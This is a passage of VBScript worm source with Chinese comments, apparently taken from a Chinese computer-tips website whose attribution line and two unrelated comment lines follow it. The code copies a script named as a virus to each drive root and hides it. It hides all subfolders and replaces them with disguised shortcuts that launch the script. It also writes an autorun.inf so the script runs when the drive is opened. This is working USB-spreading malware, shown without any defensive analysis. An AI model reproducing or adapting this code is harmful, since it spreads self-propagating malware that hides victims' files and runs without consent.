If FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
End If
Set Folder=Fso.GetFolder(D&':\')'隐藏根目录下的所有子目录
Set SubFolders=Folder.Subfolders
For Each SubFolder In SubFolders
SetHiddenAttr(SubFolder.Path)
LnkPath=D&':\'&SubFolder.Name&'.lnk''创建对应的快捷方式
TargetPath=D&':\'&VirusName
Args=''''&D&':\'&SubFolder.Name& '\Dir'''
If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <>TargetPath Then
If Fso.FileExists(LnkPath)=True Then
FSO.DeleteFile LnkPath, True
End If
Call CreateShortcut(LnkPath,TargetPath,Args)
End If
Next
End Sub
SubCreateShortcut(LnkPath,TargetPath,Args)'上一步失败了调用这个函数创建快捷方式
Set Shortcut=WshShell.CreateShortcut(LnkPath)
with Shortcut
.TargetPath=TargetPath
.Arguments=Args
.WindowStyle=4
.IconLocation='%SystemRoot%\System32\Shell32.dll, 3'
.Save
end with
End Sub
Sub CreateAutoRun(D,VirusName)'创建autorun.inf文件
On Error Resume Next
Dim InfPath, VBSPath, VBSCode
InfPath=D&':\AutoRun.inf'
VBSPath=D&':\'&VirusName
VBSCode=GetCode(WScript.ScriptFullName)
If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=FalseThen
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
StrInf='[AutoRun]'&VBCRLF&'Shellexecute=WScript.exe'&VirusName&'''AutoRun'''&VBCRLF&'shell\open=打开(&O)'&VBCRLF&'shell\open\command=WScript.exe'&VirusName&'''AutoRun'''&VBCRLF&'shell\open\Default=1'&VBCRLF&'shell\explore=资源管理器(&X)'&VBCRLF&'shell\explore\command=WScript.exe'&VirusName&' ''AutoRun'''
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-25802-8.html
至少还要几十年时间吧
我是农民我不懂理财